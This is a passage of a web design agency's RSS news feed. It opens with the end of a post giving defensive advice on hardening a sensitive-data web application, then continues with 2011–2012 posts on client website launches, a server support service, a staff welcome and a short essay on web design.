<li>Enforce strong passwords. There are tips in the <a title="Implement Proper Password Strength Controls" href="https://www.owasp.org/index.php/Authentication_Cheat_Sheet#Implement_Proper_Password_Strength_Controls" target="_blank" rel="noopener noreferrer">OWASP Authentication Cheat Sheet</a>.</li>
<li>If the employees work fixed hours, any kind of login during off hours should be regarded as a highly suspicious event. For example, if employees work 9am-6pm, any successful/unsuccessful login made &nbsp;between 6pm - 9am &nbsp;should trigger an alert.</li>
<li>Store any data in an encrypted form; use a strong encryption algorithm like AES-256.</li>
<li>Encrypt the data with a very long key.</li>
<li>Optional but highly recommended - do not store the key on the server. Instead, when the application is being started (for example when the server has just been rebooted), it must wait for the password to be entered. An example scenario is:
<ul>
<li>The application expects that the encryption key would be found in the file /dev/shm/ekey; /dev/shm is an in-memory storage location - it doesn't persist upon reboots;</li>
<li>Manually open the file /dev/shm/ekey-tmp with "cat &gt; /dev/shm/ekey-tmp", enter the password there, then rename the file to "/dev/shm/ekey";</li>
<li>The application polls regularly for this file, reads it and then immediately deletes it;</li>
<li>Wait and verify that the file was deleted from /dev/shm.</li>
<li>Now your key is stored only in memory and is much more harder for an attacker to obtain it.</li>
</ul>
</li>
<li>Set up the webapp access the MySQL server though an unprivileged user, restricted to a single database (*not* as MySQL's root).</li>
<li>Develop ACL lists on who can see what part of the information; split the information accordingly.</li>
<li>Every incoming GET, POST, SESSION or FILES request must be validated; do not allow bad input data.</li>
<li>Every unknown/error/bad state of the system (unable to verify input data, mysql errors, etc) must be mailed to you as a notification (do not mail details in a plain-text email, just a notification; then check it via SSH on the server).</li>
<li>Code should be clean and readable; do not over-engineer the system.</li>
<li>Make a log entry for EVERY action - both read and write ones; do NOT store any sensitive data in the logs.</li>
<li>Ensure that the application has a &ldquo;safe mode&rdquo; to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.</li>
<li>Suppress error output when running in &nbsp;production mode - debug info on errors should only be sent back to the visitor in *development* mode. Once the app is deployed debug output = leaking sensitive information.</li>
<li>Backup the data on an external server. The backup should be carried over a secure connection and kept encrypted.</li>
</ul>
<p>So far so good. Up to now, we should have a system which is secure, logs everything, sends alerts and can store and retrieve sensitive data. The only question is - how do we authenticate against the system in a secure manner?</p>
<p>The best way to achieve this is to implement a two-factor authentication: a username/password and a client certificate.</p>
<ul>
<li>Set up your own CA and issue certificates for your employees:</li>
<li>Keep the CA root certificate in a secure place!! Nobody must be able to get it, or else your whole certificate system will be compromised.</li>
<li>Set up the web server vhost to require a client certificate (How can I force clients to authenticate using certificates? from&nbsp;<a href="http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html" target="_blank" rel="noopener noreferrer">http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html</a>). This way, right after somebody opens up the login page, you would already know what client (employee) certificate they are using.</li>
<li>The client certificates must be protected with a password; this makes the security better - in order to log in, you must fist unlock your client certificate with its password, then open the login page and provide your own user/pass pair.</li>
<li>Consider using turning-test based login forms, e.g. http://community.citrix.com/display/ocb/2009/07/01/Easy+Mutli-Factor+Authentication . This will protect the passwords against keyboard sniffing.</li>
<li>The web server must
<ul>
<li>match each user/pass to their corresponding certificate;</li>
<li>have an easy mechanism for certificate revoking (disabling), in case you decide to part your way with an employee of yours.</li>
</ul>
</li>
<li>Once logged in, create a standard PHP session and code as usual.</li>
<li>The most critical and important (and not very often) operations should be approved only once the user re-enters their password; this prevents replay attacks. For example, if you want to view the whole credit card number info (and you don't usually need this), the system will first ask you "Re-enter your password and I'll show you the information". Banks usually use this kind of protection method for every online transaction.</li>
<li>Expire sessions regularly - in a few hours or less of inactivity.</li>
<li>If possible, tie every session to its source IP address; that is - log the IP address upon login and don't allow other IP addresses to use this session ID. Note: some providers like AOL (used to) have transparent IP balancing proxies and with them the IP address of a single client may change in time; you cannot use this security method if you have such clients (try it).</li>
</ul>
<p>Having a system like this should be protected against most attacks. Here are a couple of scenarios:</p>
<ul>
<li>Brute-force attacks at the login page - they will not succeed because a user/pass + client certificate are required. Actually, without a certificate, the login page will not be displayed at all.</li>
<li>Someone steals a user laptop - they cannot use the certificate (even if they know the user/pass pair), because they don't know its password.</li>
<li>Someone sees a user entering their passwords - they cannot use them because they don't have your client certificate.</li>
<li>An employee starts to harvest the customer data - you have a rate limit of requests per employee, and also a general rate limit of requests to your database - you get an alert and investigate this further manually (you have full logs on the server).</li>
<li>Someone hacks into your server and quickly copies the database + PHP scripts onto a remote machine - they cannot use the data, because it is encrypted and you never stored the key in a file on the server - you enter the key every time manually upon server start-up.</li>
<li>Someone initiates a man-in-the-middle attack and sniffs your traffic - you are using only HTTPS and never accept/disregard SSL warnings in your browser - you are safe, the traffic cannot be read by third parties.</li>
<li>Someone totally gets control over a user computer (installs a key logger and copies your files) - you are doomed, nothing can help you, unless the compromised does not go unnoticed.</li>
<li>Someone really good hacks your server and spends a few days learning your system - if the intrusion detection system, and the custom monitor scripts didn't catch the hacker, and he spent days on your server trying to break your system, then you are in real trouble. This scenario has a very low probability; really smart hackers are usually not tempted in doing bad things.</li>
</ul>
<p>The integration of such a secure database system could be easy. For example, if you have a customer with name XYZ, you can assign a unique number for this customer in your CRM system. Then you can use the secure storage to save sensitive data about this customer by referring to this unique number in the secure database system. It is true that your employees will have to work with one more interface, the interface of the secure database system, but this is the price of security - you have to sacrifice convenience for it.</p>
<h3>Conclusion</h3>
<p>Careful implementation of all of the above measures will further increase the security of the system, making the server extremely resilient against cyber attacks. Remember though, security is not a state - it's a process. Hire someone to take care of all security-related tasks on an ongoing basis.</p>
<p>Another point - as great as this all sounds on paper, it's the implementation that counts. Be careful with the implementation of the different services, safeguards and applications.</p>
<p>The weakest point in such a system would be the employee computer. A hacker who knows the basic layout of the server (and it follows the recommendations given so far) would focus on attacking the computer of some employee. Do not ignore the client side of the equation - this is quite often the weakest link in the chain.</p>
<p>We have plans to write a post about the client side too.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Server support enabled</title>
                <link>https://mtr-design.com/news/server-support-enabled</link>
                <guid>https://mtr-design.com/news/server-support-enabled</guid>
                <pubDate>Thu, 03 May 2012 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>Two days of email / chat and phone ping pong and you problem still exists. One support guru sends you to another, the second one asks you the same questions as the first, all say they'll call back no one does, and no one has a clue... Does it sound familiar? And all this pours over you at the most improper moment when you&rsquo;ve already invested a great deal of money and time into your website or application and you&rsquo;ve been observing your clients growing by number.</p>]]></description>
                <content:encoded><![CDATA[<p>Started as an interim support contract for a client's site, launched at the end of 2011 and tried out for a couple of months, we think it's time to introduce our new service to the public &ndash; Server Support. Actually the service was first tried and tested in the beginning of summer 2011, when we welcomed our first in-house system engineer. He put our hosting infrastructure in order, enriching our experience with his. Our good friends from KEO Films were the first to evaluate the usefulness of the service, as due to some bespoke optimization and skilled maintenance the performance capacity of the machines exceeded our and their expectations (and saved a lot of money too).</p>
<p>The next logical step was to offer this support to anyone who may need it. So now you can see for yourselves what a good server support stands for:</p>
<ul>
<li>&ldquo;Office hours support&rdquo; or &ldquo;24/7 support&rdquo; depending on your requirements</li>
<li>No more&nbsp; bot replies and &ldquo;sick-of-it-all&rdquo; operators - our small support team consists entirely of system engineers, and they will be the ones to answer your call even in the middle of the night</li>
<li>Thorough inspection - prior to taking an engagement our team always spends some time checking out the code of the website and the application and discussing with clients the priority the issues to be handled. One never knows what&rsquo;s around the corner, so we prefer to have a certain idea about the actions to be undertaken and the sequence of these actions.</li>
<li>Our clients will be granted access to our own server monitoring application (we will soon post more info about it).</li>
</ul>
<p>We take our work personally. In order to provide the most adequate support our system engineers follow the inner relations between servers&rsquo; software and the hosted applications, as well as the impact of various events &ndash; software updates, introduction of new modules, etc. Thus they are few steps forward to the solution when the server fails to perform. And you know that speed and accuracy are of great importance when your reputation and money are at stake.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Nuffield Health</title>
                <link>https://mtr-design.com/news/website-launch-nuffield-health</link>
                <guid>https://mtr-design.com/news/website-launch-nuffield-health</guid>
                <pubDate>Mon, 19 Mar 2012 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>Nuffield Health is the largest health charity in the United Kingdom, which operates a range of health and wellbeing facilities including 31 hospitals and 51 fitness &amp; wellbeing centres.</p>]]></description>
                <content:encoded><![CDATA[<p>We were commissioned by our good friends from <a title="Content Formula" href="http://www.contentformula.com/" target="_blank" rel="noopener noreferrer">Content Formula</a> to build the new Nuffield Health website. The challenge for our team was to develop the site using high-quality code that adheres strictly to the <a title="Drupal Coding Standards" href="http://drupal.org/coding-standards" target="_blank" rel="noopener noreferrer">Drupal Coding Standards</a>, with special attention to performance and security. Now, when the site is up and running, we're delighted to continue our work on this project, providing ongoing&nbsp; server maintenance services and feature upgrades.</p>
<h2>How did we handle it?</h2>
<ul>
<li>Development of the HTML/CSS layouts for the website</li>
<li>Drupal theming and custom module development</li>
<li>Google Maps API integration</li>
<li>Drupal setup &amp; customization</li>
<li>Site integration with the company's CRM (via a bespoke API)</li>
<li>Server setup and administration</li>
</ul>
<p><img class="align-left half-screen" src="/storage/var/images/news/nuffieldhealth-home.jpg" alt="Nuffield Health - Homepage" width="702" height="615" /><img class="align-right half-screen" src="/storage/var/images/news/nuffieldhealth-hospitals.jpg" alt="Nuffield Health - Hostpitals" width="702" height="615" /><img class="align-left half-screen" src="/storage/var/images/news/nuffieldhealth-fitness.jpg" alt="Nuffield Health - Fitness Details" width="702" height="615" /><img class="align-right half-screen" src="/storage/var/images/news/nuffieldhealth-consultant-details.jpg" alt="Nuffield Health - Conusltant Details" width="702" height="615" /></p>]]></content:encoded>
            </item>
                    <item>
                <title>River Cottage</title>
                <link>https://mtr-design.com/news/website-launch-rivercottage</link>
                <guid>https://mtr-design.com/news/website-launch-rivercottage</guid>
                <pubDate>Sun, 15 Jan 2012 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>You can guess by the name - it all started in a real community. River Cottage is an actual place on earth where not so long ago a team of enthusiasts started growing their own food.</p>
<p>The challenge for our team was to build their online home. We were commissioned by KEO digital to create the new River Cottage website <a href="http://rivercottage.net" target="_blank" rel="noopener noreferrer">www.rivercottage.net</a> &ndash; a place on the web were the users could share experience and help each other in the "grow your own food" adventure.</p>
<p>This project was a chance for our team to participate in a mission even more important embarking a movement for sustainable life style.</p>]]></description>
                <content:encoded><![CDATA[<h3>So the tasks were set</h3>
<p>We had to create the cozy online home for a farm community, fully functioning and staying in touch with the real life. The original idea of our friends from Keo digital was that the users were supposed to communicate with each other, to exchange experience and goods and to participate in all the events, organized by the River Cottage team. The market as a crucial feature of each society &ndash; a virtual and a real one &ndash; took a central place in our building plans.</p>
<h3>The building team in action!</h3>
<p><img class="align-right" src="/storage/var/images/news/rivercottage-home.jpg" alt="River Cottage - Homepage" width="702" height="615" />River Cottage project&rsquo;s strongest challenge was to gather together in a functional website all the existing solutions and make them work in a way that a digital community was supposed to run.</p>
<p>Building a community with all the range of complexity of interactions and relationships needed a precise maintenance and a community platform, which MTR Design created especially for the site. It proved to be a successful implementation since as we speak it supports more than 100,000 users of the site. The platform allows all River Cottage users to maintain personal blogs, to communicate with each other using the site forums, to ask questions in the Q&amp;A section of the website and so on.</p>
<p>They are given all the advantages of the online communication as they can share experience using inMail messaging system and exchange something more than recipes. The community idea is even more strongly presented in the members&rsquo; directory, bringing users even closer together. Using Google maps feature an interactive map was created giving a chance for the users to keep in touch with their fellow river cottagers in their local area.</p>
<p>River Cottage is not a charity organization, but a business project, so a central role in its everyday life is promoting all sort of activities &ndash; courses, books and events. All the users are duly informed for these receiving an e-mail, so our team provided a tool for maintaining a newsletter with near 300,000 subscribers, as well as implemented Campaign Monitor as an e-mail device for all the River Cottage campaigns.</p>
<p>One of the most important components of the site and respectively - a challenge for the team, was creating the online shop. Now it is a market place where more than 400,000 users purchase goods &ndash; books, course enrollments, gift vouchers. The shop is well-supplied with the necessary features - membership subscriptions, promotion codes, virtual wallets, recurring payments, etc., thus propelling our client&rsquo;s business straight ahead.</p>
<h3>What else have we done?</h3>
<ul>
<li>Setup of the hosting platform using the Amazon AWS cloud hosting service</li>
<li>Intelligent automated tagging for all user-generated content (using the tagging engine developed by Neural Brothers)</li>
<li>Bespoke RESTful API which powers the River Cottage Every Day iPhone app</li>
<li>All social media support including &ndash; Facebook, Twitter and re-tweeting, and all other common social bookmarking tools</li>
<li>Integration of the online shop with the Sage accounting software used in the River Cottage headquarters</li>
<li>Integration of a video hosting platform Vzaar for a vide streaming of costumers&rsquo; videos on the site</li>
</ul>
<h3>Results</h3>
<p>Today River Cottage website <a href="http://rivercottage.net/">www.rivercottage.net</a> is the place on internet where a strong and ever growing community devoted to sustainable life style is thriving. The different events, courses and communications supported by the web site are making this community a breathing one. The site helps the River Cottage project gain even more popularity and turns it into into a successful business.</p>
<h3>Numbers are our testimonials</h3>
<ul>
<li>100,000 registered users and still counting</li>
<li>300,000 newsletter subscribers</li>
<li>400,000 visitors purchasing books, courses and gift vouchers in the online shop</li>
</ul>
<hr />
<p>* The River Cottage website is owned by HWF Interactive Ltd and is managed jointly by River Cottage and KEO digital teams.</p>
<h2>How did we handle it?</h2>
<ul>
<li>Development of the HTML/CSS layouts for the website</li>
<li>E-commerce shopping cart platform (integrated with Sage accounting)</li>
<li>Server setup and administration</li>
<li>Video streaming integration (using the Vzaar API)</li>
<li>Third party API integrations (Facebook, Twitter)</li>
<li>Custom content management system</li>
<li>Payment system integration (WorldPay)</li>
<li>Development of an API for the River Cottage EveryDay iPhone app</li>
<li>Newsletter module integrated with the Mailchimp email marketing platform</li>
</ul>
<p><img class="align-left half-screen" src="/storage/var/images/news/rivercottage-canteens.jpg" alt="River Cottage - Canteens" width="702" height="615" /><img class="align-right half-screen" src="/storage/var/images/news/rivercottage-shop.jpg" alt="River Cottage - Shop" width="702" height="615" /></p>]]></content:encoded>
            </item>
                    <item>
                <title>People Fund</title>
                <link>https://mtr-design.com/news/website-launch-peoplefund</link>
                <guid>https://mtr-design.com/news/website-launch-peoplefund</guid>
                <pubDate>Tue, 20 Dec 2011 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p><strong>Ideas worth funding.</strong> You have a good idea but you don't have the cash to bring it alive? Spread the word. Visit <a title="Peoplefund.it" href="http://www.peoplefund.it/" target="_blank" rel="noopener noreferrer">www.peoplefund.it</a> and get funded! You will find a powerful community that will support your project and make it real. Have fun, make friends, promote your idea and make it work.</p>]]></description>
                <content:encoded><![CDATA[<p>Occasionally, people come up with amazing ideas that worth spreading and have it all to make the world a better place. We believe that such projects should be given the chance to prove their worthiness. So do our friends from KEO digital who commissioned us the build of their newest project - <a href="http://www.peoplefund.it/" target="_blank" rel="noopener noreferrer">Peoplefund.it</a>. We fell for their idea about a website, that brings together the thinkers and the supporters and helps the good ideas prove their potential.</p>
<h3>Key facts about the project</h3>
<p><img class="align-right" src="/storage/var/images/news/peoplefund-home.jpg" alt="People Fund - Homepage" width="702" height="614" />Peoplefund.it is organized around funding original projects. Each ideas grower needs to have an account in order to promote them and raise the targeted amount. Every visitor can become a supporter by pledging a certain amount of money, time or skills in return for his choice of award. It&rsquo;s a win&ndash;win situation. The pledged money will be transferred only if the targeted sum is raised and the goal is reached, on the other hand every contributor will receive a reward for his/her support.</p>
<p>In its essence the site is all about forming a community &ndash; so our team was commissioned to craft a community platform especially designated for the needs of the project. Each party &ndash; the project creator and the supporter has their own account in peoplefund.it which makes the interactions between the participants more transparent and reliable.</p>
<p>At the same time the site plays main role in popularizing the idea &ndash; it provides the tools for gaining popularity &ndash; video streaming, photo sharing, social media connection. These features are integrated in a bespoke content management system, built up by our team.</p>
<p>One of the most important functions of the site and respectively the one that required a lot of planning and proofing was the integration of the GoCardless direct debit system. So we had to put some extra care in securing the transactions and authorization between the parties.</p>
<h3>What did MTR Design team do in this project?</h3>
<ul>
<li>A community platform</li>
<li>A bespoke content management system and integration of video streaming (vzaar), photo sharing and other user generated content (UGC) options</li>
<li>Hosting platform setup for the project, using Amazon cloud service</li>
<li>Connection to GoCardless payment system</li>
<li>Integration of connections to third party social networks (Facebook, Twitter, LinkedIn and others)</li>
<li>Widget for embedding a certain project in the visitor&rsquo;s personal site</li>
<li>Easy sign up via Facebook and EnergyShare accounts</li>
</ul>
<h3>Inspiring results</h3>
<p>Since the launch of Peoplefund.it a week ago one of the projects <a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/" target="_blank" rel="noopener noreferrer">&ldquo;The Bicycle Academy&rdquo;</a> has already raised 100% of the targeted amount and they keep on getting pledges. The ideas are gaining more popularity and other projects are making their small but steady steps towards success. <a title="Peoplefund.it" href="http://www.peoplefund.it/" target="_blank" rel="noopener noreferrer">See for yourselves!</a></p>
<p>The project is commissioned and owned by Keo digital.</p>
<p><img class="align-left half-screen" src="/storage/var/images/news/peoplefund-projects.jpg" alt="People Fund - Projects" width="702" height="614" /><img class="align-right half-screen" src="/storage/var/images/news/peoplefund-projectdetails.jpg" alt="People Fund - Project details" width="702" height="614" /></p>]]></content:encoded>
            </item>
                    <item>
                <title>Ideas that change life for the better</title>
                <link>https://mtr-design.com/news/ideas-that-change-life-for-the-better</link>
                <guid>https://mtr-design.com/news/ideas-that-change-life-for-the-better</guid>
                <pubDate>Thu, 10 Nov 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p><em>One person with a good idea can change the world and make it a better place. However most of the time he or she will need some help to make it happen.</em></p>
<p>Today we&rsquo;d like to tell you a little story about the new website we built for our friends from KEO Digital.</p>
<p>At <a title="peoplefund.it" href="http://www.peoplefund.it" target="_blank" rel="noopener noreferrer">peoplefund.it</a> each great thinker gets the chance to put his idea to the test and try to find supporters and funding to make his project grow into a successful business.</p>]]></description>
                <content:encoded><![CDATA[<h4>How it works?</h4>
<p>Simple&hellip;</p>
<p>Once you have your project all cleared up and predefined, you should set the target sum and time for raising it and start collecting pledges. Put in all the ingredients to make your stuff attractive &nbsp;&ndash; rewards, videos, pictures, inspiring texts. Then wait to see how people like it. Or love it, or adore it.</p>
<p>This is how it worked for our featured heroes - <strong><a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/" target="_blank" rel="noopener noreferrer">The Bicycle academy</a></strong>. Two guys had an inspiring idea to start a bicycle framebuilding school and give away every first bicycle to the people who really need it &ndash; in Africa! Thanks to crowd funding and <a title="peoplefund.it" href="http://www.peoplefund.it" target="_blank" rel="noopener noreferrer">peoplefund.it</a> they reached their target for less than a week and managed to raise more than &pound;40,000. Fascinating, isn&rsquo;t it?</p>
<p>How could this happen? They had an ingenious idea, but it wasn&rsquo;t enough. They had to add in their passion, dedication, inspiration, love and make it as popular as possible. And it was up to www.peoplefund.it to prove that this could work. It was really astonishing how quickly the pledges were made and the goal was reached. We are proud of our work and even more satisfied of how the site helped an original good idea to become reality.</p>
<p>See for yourself how <strong><a title="The Bicycle Academy" href="http://www.peoplefund.it/the-bicycle-academy/" target="_blank" rel="noopener noreferrer">The Bicycle academy</a></strong> made it.</p>
<p>And next time YOU have a brilliant idea in mind &ndash; don&rsquo;t let it slip away. Test it here to see whether <a title="peoplefund.it" href="http://www.peoplefund.it" target="_blank" rel="noopener noreferrer">peoplefund.it</a>.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Long live the system engineer!</title>
                <link>https://mtr-design.com/news/long-live-the-system-engineer</link>
                <guid>https://mtr-design.com/news/long-live-the-system-engineer</guid>
                <pubDate>Thu, 22 Sep 2011 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>The arrival of a new member in the company has always been an event to be celebrated, so we can&rsquo;t wait to express our satisfaction for welcoming on board Emil &ndash; our first and brand new system engineer.</p>]]></description>
                <content:encoded><![CDATA[<p>For almost two months now he&rsquo;s been working hard to put some order in our hosting infrastructure. The latter is not a piece of cake as the number of servers is steadily growing and living in a world where even <a title="Amazon AWS" href="http://aws.amazon.com/" target="_blank" rel="noopener noreferrer">Amazon</a> have cloudy Fridays the sanity is vulnerable and the stress is taking over.</p>
<p>But having Emil on our side &ndash; a server whisperer, Python zealot and a Django fan &ndash; <a href="/about">the team</a> is in full force to cope with any adversity the web could throw at us.</p>
<p>And what is more important &ndash; at last Milen can have his good night&rsquo;s sleep not having to worry about the clouds in the web sky.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Everyone’s gone mobile</title>
                <link>https://mtr-design.com/news/everyones-gone-mobile</link>
                <guid>https://mtr-design.com/news/everyones-gone-mobile</guid>
                <pubDate>Sun, 18 Sep 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>So it&rsquo;s time for you too to get your <a title="Dizzyjam" href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">Dizzyjam</a> business on the move. Browsing through the new mobile <a title="Dizzyjam mobile" href="http://m.dizzyjam.com/" target="_blank" rel="noopener noreferrer">http://m.dizzyjam.com/</a> website you can show your merch everywhere you go.</p>]]></description>
                <content:encoded><![CDATA[<p>The mobile version of the site was not a major project but had some treats in store for our team. The site is a place full of items, packed with all kinds of information and shop products, so we had to sieve all the necessary features and make them fit into your palm. At the same time we had to make sure that nothing precious would be sacrificed for the sake of simplicity.</p>
<p>The result is quite satisfying &ndash; an easy to access and fast to browse through mobile-friendly site that gives you the feel you are staring at the whole picture. The mobile version of <a title="Dizzyjam" href="http://www.dizzyjam.com/" target="_blank" rel="noopener noreferrer">Dizzyjam</a> provides a simple checkout process and works brilliantly as your personal merch stall wherever you are.</p>
<p>The focus is set on the shop items &ndash; so they are presented in their most &ndash; the logo designs and the variety of the products are easy to see and even easier to buy. This gives the shop owners yet another way to advertise and propel their business as they literally have their shop in their pocket.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Back to school</title>
                <link>https://mtr-design.com/news/back-to-school</link>
                <guid>https://mtr-design.com/news/back-to-school</guid>
                <pubDate>Wed, 17 Aug 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>Starting the new school year with a fresh project &ndash; the Newlyn School of Art web site.</p>]]></description>
                <content:encoded><![CDATA[<p>With the summer almost over, and September knocking on the door, the kids are getting ready for school. &nbsp;So is our team. The perfect project to get us in the mood was the Newlyn School of Art&rsquo;s web site. Launching <a title="Newlyn School of Art" href="http://www.newlynartschool.co.uk/" target="_blank" rel="noopener noreferrer">www.newlynartschool.co.uk</a> just a few days ago made us feel involved in the whole &ldquo;back to school&rdquo; hullabaloo.</p>
<p>We are really proud to share with you the outcome of our work and hope it will inspire you and colour your day.</p>
<p><img title="Newlyn School of Art" src="/storage/var/images/news/newlynartschool-site.jpg" alt="Newlyn School of Art" width="780" height="963" /></p>]]></content:encoded>
            </item>
                    <item>
                <title>What’s been on our timetable in the past few weeks</title>
                <link>https://mtr-design.com/news/whats-been-on-our-timetable-in-the-past-few-weeks</link>
                <guid>https://mtr-design.com/news/whats-been-on-our-timetable-in-the-past-few-weeks</guid>
                <pubDate>Fri, 12 Aug 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>We&rsquo;ve been busy lately with some stuff going on, so skipped posting for a couple of weeks. The main reason for the blog silence was the relocation of Milen, our managing director, (closely followed by his personal copywriter) in Wales in the beginning of August, so enjoying the English weather and the warm welcome Cardiff gave us was the main issue for a week or two and proved to be time taking for some of us, who are currently catching up with sharing the latest news about our projects.</p>]]></description>
                <content:encoded><![CDATA[<p>Hopefully we are back on track and have a few new things to show you.</p>
<p>First of all we would really like to share what a wonderful job the <a href="http://www.fishfight.net/">Hugh&rsquo;s Fish Fight</a> website is doing. Last week the 4<sup>th</sup> episode was played on <a href="http://www.channel4.com/">Channel 4</a> and we definitely hit some new records of public interest. The web site scored some of the highest numbers of visits we&rsquo;ve seen and we are really proud of it managing to meet all the interest. Previously in the campaign our team expanded the range of the site and it went international &ndash; now it&rsquo;s live and functioning on 11 different European languages.</p>
<p>The campaign is already making fisheries policy change and it wouldn&rsquo;t be so successful unless it was the perfect combination of powerful and charismatic impact of the initiative and the strong and stable support of <a href="http://www.fishfight.net/">www.fishfight.net</a>.</p>
<p>Our arrival in UK was the perfect time for launching another MTR Design project &ndash; <a href="http://www.lifeinukthetest.co.uk/">www.lifeinukthetest.co.uk</a> which is quite a coincidence to start with. This site can give you some really useful information &ndash; something we could say for sure trying it at our moving to UK. So did lots of people who have benefited from it for the last couple of weeks (as free from the website stats). The website provides a throughout&nbsp; information about the history, society and everyday life in UK and scrolling through the variety of lessons one can receive the best chances to pass the British Citizenship Test.</p>
<p>We are having great time in Cardiff. And no wonder as the <a href="http://www.dizzyjam.com/">Dizzyjam</a> headquarters is situated here together with its most eminent members &ndash; Daf and Neil who are dangerously familiar with the club life in the Welsh capital. Well it hasn&rsquo;t been exactly partying all night long during the last two weeks, mostly because of the many thing we had to deal with. Nevertheless the results are dizzying at the end of the day and make us happy the morning after. Some of these are the new feature of <a href="http://www.dizzyjam.com/">Dizzyjam</a>&nbsp;&ndash; embeddable shops.</p>
<p>The <a href="http://www.dizzyjam.com/">Dizzyjam</a>&nbsp;shop owners now have at their disposal a tool which helps them set and embed their shop on their own websites. Following few easy steps every merchandiser can integrate the functions and adjust the looks of their shop in their own web space, thus gaining more popularity in the crowded merch scene.</p>
<p>Well, that&rsquo;s all for now. A humble sunray is sneaking through the clouds so we&rsquo;ll try to catch it. All of you &ndash; our lovely UK friends and partners, feel free to join us any time you are around &ndash; just give us a call and we will find time for a beer and a talk.</p>]]></content:encoded>
            </item>
                    <item>
                <title>Taxation = Theft</title>
                <link>https://mtr-design.com/news/taxation-theft</link>
                <guid>https://mtr-design.com/news/taxation-theft</guid>
                <pubDate>Thu, 09 Jun 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>It's hard to argue with this video...</p>]]></description>
                <content:encoded><![CDATA[<div class="video"><iframe src="https://www.youtube.com/embed/VILa0SE7CVo?rel=0&amp;showinfo=0" allowfullscreen="" width="853" height="480" frameborder="0"></iframe></div>
<p>via <a title="Reason Magazine" href="http://reason.com/blog/2011/06/07/taxation-theft-animated-by-slo" target="_blank" rel="noopener noreferrer">Reason Magazine</a></p>]]></content:encoded>
            </item>
                    <item>
                <title>Inspiration Needs Some Help</title>
                <link>https://mtr-design.com/news/inspiration-needs-some-help</link>
                <guid>https://mtr-design.com/news/inspiration-needs-some-help</guid>
                <pubDate>Wed, 08 Jun 2011 12:00:00 +0000</pubDate>
                <dc:creator>Nikolay N</dc:creator>
                <description><![CDATA[<p>Can&rsquo;t wait to share with you this cool illustration of the creative process. The guys and gals from <a title="VitaminT" href="http://vitamintalent.com/" target="_blank" rel="noopener noreferrer">VitaminT</a> have made it quite clear that the good idea is not all it takes. Although it&rsquo;s a good starting point for looking for some professional help.</p>]]></description>
                <content:encoded><![CDATA[<p><a href="/storage/var/images/news/vitamin-t-how-to-make-a-website.jpg" target="_blank" rel="noopener noreferrer"><img src="/storage/var/images/news/vitamin-t-how-to-make-a-website.jpg" width="2653" height="1378" /></a></p>]]></content:encoded>
            </item>
                    <item>
                <title>Web Comes First, Design Should Follow</title>
                <link>https://mtr-design.com/news/web-comes-first-design-should-follow</link>
                <guid>https://mtr-design.com/news/web-comes-first-design-should-follow</guid>
                <pubDate>Fri, 03 Jun 2011 12:00:00 +0000</pubDate>
                <dc:creator>Milen N</dc:creator>
                <description><![CDATA[<p>Recently I came across an interesting <a href="http://www.marco.org/2011/05/14/instapaper-redesign-by-tim-van-damme" target="_blank" rel="noopener noreferrer">article by Marco Arment</a> that illustrated in a simple, yet brilliant way my own idea about exaggerating the importance of the fancy design.</p>]]></description>
                <content:encoded><![CDATA[<p>People tend to appreciate things by their appearance. Overcrowded flash websites or minimalistic hidden menus &ndash; it&rsquo;s all about the hype of the day and the needs of the users. Or at least what we consider their needs are. Sometimes web design gets lost in the visuals and the original purpose of the web site is being pushed into the background by pretty animated pictures.</p>
<p>So it&rsquo;s very important not to forget that in web design &ldquo;web&rdquo; comes first and &ldquo;design&rdquo; follows. Web sites are not just a couple of damn good artistic layouts, they are built for a reason, so they must be designed in a manner to serve this reason in the best possible way.</p>
<p>Of course I&rsquo;m far from bringing in a manifesto for a <strong>web without pics</strong>, although I definitely stand for banning the flash.</p>
<p>The good design is crucial for drawing the users&rsquo; attention. But it should not distract them from their initial intention, or even worse &ndash; make them wander while searching throughout the site for what they needed in the first place &ndash; such a walk won&rsquo;t last long.</p>
<p>On the other hand the extreme simplicity can give you much trouble. If you have several stylish &ldquo;Kandinsky squares&rdquo; on your site, while all the important features are out of reach, hidden somewhere in abundant site menus, they will be of little use for your exquisite visitors.</p>
<p>It&rsquo;s easy to recognize when things have gone wrong in an application or a site. Unfortunately it&rsquo;s not that simple to make things perfect. One could never guess what the preferences of all users will be &ndash; the rationality and emotionality are in different proportions in each person &ndash; some will like this <a title="A List Apart" href="http://www.alistapart.com/" target="_blank" rel="noopener noreferrer">http://www.alistapart.com/</a>, others will go for that: <a title="Waterlife" href="http://waterlife.nfb.ca/" target="_blank" rel="noopener noreferrer">http://waterlife.nfb.ca/</a> (it will take some time to browse all the elements). It depends on what you&rsquo;re looking for. Fun, recreation, knowledge or service &ndash; not getting it on time can be frustrating even if there is a sweet melody playing and some terrific animation spinning around. Well, I&rsquo;m in the park right now, using the municipal wi fi and I&rsquo;m really doing my best to understand what is this orchestra and floating squares all about. Well, I gave it up. You&rsquo;ve got my point.</p>
<p>It&rsquo;s good to have smashing layouts, but it&rsquo;s better to have the right design which will suit your website&rsquo;s goals.</p>
